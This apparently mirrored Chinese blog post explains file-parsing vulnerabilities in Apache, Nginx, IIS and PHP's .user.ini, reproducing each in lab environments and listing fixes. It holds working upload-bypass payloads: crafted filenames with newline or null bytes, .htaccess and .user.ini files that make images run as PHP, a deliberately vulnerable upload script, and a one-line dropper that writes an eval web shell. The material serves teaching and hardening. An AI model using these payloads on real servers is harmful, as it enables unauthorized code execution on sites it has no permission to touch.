浅谈解析漏洞的利用与防范
source link: https://qwzf.github.io/2020/10/20/%E6%B5%85%E8%B0%88%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E9%98%B2%E8%8C%83/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
本文首发于安全客,如果方便的话请阅读原文:
https://www.anquanke.com/post/id/219107
0x00 前言
继续学习常见漏洞,经常听说过解析漏洞,这次来一探究竟。
0x01 解析漏洞简介
1、文件解析漏洞概述
文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。
2、web容器是什么
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)
中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。
0x02 Apache
测试环境
docker容器:kstaken/apache2
在docker里安装php:apt-get update && apt-get install php5
靶场:DoraBox靶场
修改站点根目录:vim /etc/apache2/sites-enabled/000-default
1、多后缀
漏洞描述:
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
所以可上传一个test.php.qwzf
文件绕过验证且服务器依然会将其解析为php。
Apache 能够识别的文件在mime.types
文件里。
影响版本:
Apache 2.0.x <= 2.0.59
Apache 2.2.x <= 2.2.17
Apache 2.2.2 <= 2.2.8
开始测试:
1.查看Apache版本:
apachectl -v
#或httpd -v(测试未显示Apache版本)
2.在DoraBox的任意文件靶场进行测试
上传的文件名:test.php.qwzf
上传的文件内容
<?php phpinfo(); ?>
上传成功,访问看一下
修复方法:
后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。
2、Apache配置问题
1.如果在Apache的 /etc/apache2/apache2.conf
里有这样的配置
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是qwzf.jpg
,会以php 来执行。
2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是qwzf.php.jpg
也会以php 来执行。
3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg
即使扩展名是.jpg
,也会以php来执行。
Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess
(分布式配置文件)
将Apache的/etc/apache2/sites-available/default
里AllowOverride None
改为AllowOverride All
AllowOverride All
开启rewrite_mod
a2enmod rewrite
这样.htaccess
文件就会生效。
开始测试:
1.上传一个.htaccess
文件,文件内容如下:
方法1:
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
方法2:
AddHandler php5-script .php
方法3:
AddType application/x-httpd-php .jpg
2.然后上传文件名为
方法1和方法3:qwzf.jpg
方法2和方法3:qwzf.php.jpg
文件内容为:<?php phpinfo(); ?>
1.apache配置文件,禁止
.php.
这样的文件执行,配置文件里面加入<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.关闭重写
a2dismod rewrite
3、罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)
此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。
上传一个查看phpinfo信息的qwzf.php3
文件,访问
qwzf.php3
文件被当作php文件进行解析。4、后缀包含换行符\x0A(CVE-2017-15715)
phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715
漏洞描述:
上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即:
1.php\x0a => 1.php
apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
影响版本:
Apache 2.4.0-2.4.29
测试环境:
1.环境一:
用docker拉取一个名为vulhub/php:5.5-apache
的镜像(Apache版本2.4.0~2.4.29之间)
使用下面命令启动容器:
docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache
进入容器并查看Apache版本
docker exec -it cve-2017-15715 /bin/bash
apachectl -v
2.环境二:
当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715
环境。
环境位置:vulhub/httpd/CVE-2017-15715
测试代码:
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
file:<input type="file" name="file"><br />
filename:<input type="text" name="name" value="qwzf.php">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
开始测试:
1.正常上传php文件,被拦截
test.php.qwzf
,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。注:只能是\x0A,不能是\x0D\x0A
上传qwzf.php
文件,filename设置为qwzf.php
使用burp抓包,选择burp的Hex功能,在qwzf.php
后面添加一个\x0A
qwzf.php%0A
,发现可以成功解析php文件0x03 Nginx
1、Nginx PHP CGI 解析漏洞(fix_pathinfo)
漏洞描述:
查看nginx的配置文件vim /etc/nginx/conf.d/default.conf
http://x.x.x.x/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME传递给PHP CGI。(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就涉及到
fix_pathinfo
选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。简单来说,由于Nginx的特性,只要URL中路径名以.php
结尾,不管该文件是否存在,直接交给php处理。
注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件
使得该漏洞难以被成功利用
相关知识:
(1)通过phpinfo查看cgi.fix_pathinfo=1
,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]
获取,而配置文件中的cgi.fix_pathinifo
选项则与这个值的获取相关。
影响版本:
漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
漏洞形式:
/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\0.php
还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>
然后访问qwzf.jpg/.php
,在当前目录下就会生成一句话木马shell.php
测试环境:
1.环境一:
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/nginx_parsing_vulnerability
nginx版本:nginx/1.19.2
2.环境二:
使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1)
nginx版本:nginx/1.11.5
开始测试:
使用环境一的vulhub靶场对应的环境
上传一个jpg文件,文件名为phpinfo.jpg
,文件内容为(或者上传图片马):
GIF89a
<?php phpinfo(); ?>
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20\0.php
发现除了%00截断外,均以php的形式解析,显示phpinfo信息
修复方法:
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0(慎用);
若实在将cgi.fix_pathinfo的值设置为0,就将php-fpm.conf中的
security.limit_extensions
后面的值设置为.php
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
代码的意思:当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
3.使用Apache服务器的,在相应目录下放一个 .htaccess 文件,内容为:
<FilesMatch "(?i:\.php)$">
Deny from all
</FilesMatch>
4.不提供上传的原文件访问,对文件输出经过程序处理。
5.图片单独放一个服务器上,与业务代码数据进行隔离。
2、空字节代码执行漏洞
漏洞描述:
Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
影响版本:
Nginx 0.5.x
Nginx 0.6.x
Nginx 0.7-0.7.65
Nginx 0.8-0.8.37
测试环境:
nginx官网
由于环境比较旧,不太容易搭建,这里只阐述一下大致过程:
1.上传一个qwzf.jpg图片文件
2.访问http://x.x.x.x/qwzf.jpg%00.php
3.就会将qwzf.jpg作为PHP文件进行解析
修复方法:
1.升级nginx
2.禁止在上传文件目录下执行php文件
3.在nginx配置或者fcgi.conf配置添加下面内容:
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
3、nginx文件名逻辑漏洞(CVE-2013-4547)
漏洞描述:
1.漏洞产生原因:
错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
2.漏洞原理:
Nginx匹配到.php
结尾的请求,就发送给fastcgi进行解析,常见写法:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
(1)在关闭fix_pathinfo的情况下(即cgi.fix_pathinfo=0
),只有.php后缀的文件才会被发送给fastcgi解析
(2)存在CVE-2013-4547时,请求qwzf.jpg[0x20][0x00].php
,这个URI可匹配到正则\.php$
,进入到Location块;
(3)进入后,Nginx错误地认为请求的文件是qwzf.jpg[0x20]
,然后设置其为SCRIPT_FILENAME的值发送给fastcgi。
(4)fastcgi根据SCRIPT_FILENAME的值,将qwzf.jpg[0x20]
以php文件的形式进行解析,从而造成了解析漏洞。
也就是说,我们只需要上传一个空格结尾的文件,即可用PHP进行解析。
影响版本:
Nginx 0.8.41-1.4.3
Nginx 1.5 -1.5.7
测试环境:
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/CVE-2013-4547
nginx版本:nginx/1.4.2
开始测试:
上传一个jpg文件,文件名为qwzf.jpg
,文件内容为(或者上传图片马):
GIF89a
<?php phpinfo(); ?>
使用burp添加空格
/uploadfiles/qwzf.jpg/.php
,burp抓包,添加两个空格0x04 IIS
IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。
1、IIS 5.x和IIS 6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
测试环境:
因为找不到相关环境,并且不想搭建,所以这里只阐述相关原理和相关知识。
1.目录解析(6.0)
形式:http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp
,.asa
目录下的文件都解析成asp文件。
2.文件解析(6.0)
形式:http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件。
3.解析文件类型(默认解析后缀)
有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :
/xx.asa
/xx.cer
/xx.cdx
iis把asa,cdx,cer解析成asp文件的原因:这四种扩展名都是用的同一个asp.dll文件来执行。
修复方法:
1.阻止创建.asp
和.asa
类型的文件夹
2.阻止上传xx.asp;.jpg
类型的文件名
3.阻止上传.asa
、.cer
和.cdx
后缀的文件
4.设置权限,限制用户创建文件夹
2、IIS 7.0/7.5 CGI解析漏洞
漏洞描述:
IIS7/7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo
,而这并不是nginx或者iis7/7.5本身的漏洞。
漏洞产生的条件:
php.ini里的cgi.cgi_pathinfo=1
IIS7在Fast-CGI运行模式下
测试环境:
windows server 2008 R2(x64)
IIS7
phpStudy 2018版本
开始测试:
首先在VMware安装windows server 2008 R2虚拟机(比较简单,百度搜教程即可),然后安装IIS7和phpStudy 2018。可参考:IIS7.0解析漏洞
写一个index.php文件测试环境是否能正常工作。
1.在站点根目录创建一个qwzf.jpg文件,文件内容为:
<?php phpinfo(); ?>
2.配置CGI 模式
(1)在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1
管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射
http://192.168.201.149/qwzf.jpg/.php
qwzf.jpg
成功解析。常用利用方法:上传图片马
0x05 .user.ini
.user.ini 作用和配置.htaccess
是伪静态环境配置文件,用于lamp。.user.ini
是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
为了防止跨站,可将 .user.ini
放在网站根目录下,内容为:open_basedir=/项目路径/:/tmp/:/proc/
如:open_basedir=/var/www/html/:/tmp/:/proc/
测试代码:
<?php
//获取当前文件所在的绝对目录
$dir = dirname(__FILE__);
echo " <pre>";
print_r($dir);
//读取根目录文件夹vim
$file = scandir('/');
//显示
echo " <pre>";
print_r($file);
?>
没加.user.ini
的时候可以直接读到根目录的文件
.user.ini
之后,就读不到根目录的文件了利用条件:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件
参考:user.ini文件构成的PHP后门
大师傅博客里对.user.ini
的解释具体可以怎样理解呢?
我的对其总结如下:
1.
php.ini
作为php的默认的配置文件,包括很多php配置,可分为:PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。
2.模式为
PHP_INI_USER
的配置项,可在ini_set()
函数中设置、注册表
中设置和.user.ini
中设置
3.PHP会在每个目录下扫描 INI 文件,从被执行PHP 文件所在目录一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。若被执行PHP 文件在 web 根目录之外,则只扫描该目录。
4.
.user.ini
简单来说,就是一个可以由用户“自定义”的php.ini
,可以自定义的设置是模式为PHP_INI_PERDIR
、PHP_INI_USER
的设置(实际上,除PHP_INI_SYSTEM
外的模式都可以通过.user.ini
来设置)。
5.
.user.ini
是一个能被动态加载的ini文件。也就是修改.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
6.php配置项
auto_prepend_file
(auto_append_file
),指定一个文件,自动包含在要执行的文件前(后),类似于在文件前(后)调用了require()函数。即借助.user.ini
文件,可让所有php文件都“自动”包含某个文件
(当文件调用的有exit()时该设置无效)
可直接在.user.ini
中设置要包含的文件(如webshell、图片马等):
auto_prepend_file=qwzf.jpg
qwzf.jpg
即是可执行php文件要包含的文件。
开始测试:
直接使用vulhub靶场vulhub/nginx/CVE-2013-4547
环境,在uploadfiles目录下创建一个可执行的php文件index.php
(1)上传.user.ini
文件,内容如下:
GIF89a
auto_prepend_file=qwzf.jpg
(2)上传图片马qwzf.jpg
,内容如下:
GIF89a
<?php phpinfo(); ?>
访问/uploadfiles/index.php
,发现qwzf.jpg被成功包含到index.php之前进行解析
0x06 Windows操作系统文件命名规则
Windows操作系统中,文件名不能以空格或.
开头,也不能以空格或.
结尾。当把一个文件命名为以空格或.
开头或结尾时,会自动地去掉开头和结尾处的空格和.
。利用此特性,也可能造成文件解析漏洞。
参考博客:
文件解析漏洞总结
CTF考点总结-文件上传/文件包含
利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
文件上传漏洞,解析漏洞总结
解析漏洞整理
典型漏洞归纳之解析漏洞
服务器解析漏洞总结
文件解析漏洞总结-Nginx
Nginx错误配置引发的解析漏洞复现
nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现
nginx+php使用open_basedir限制站点目录防止跨站
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK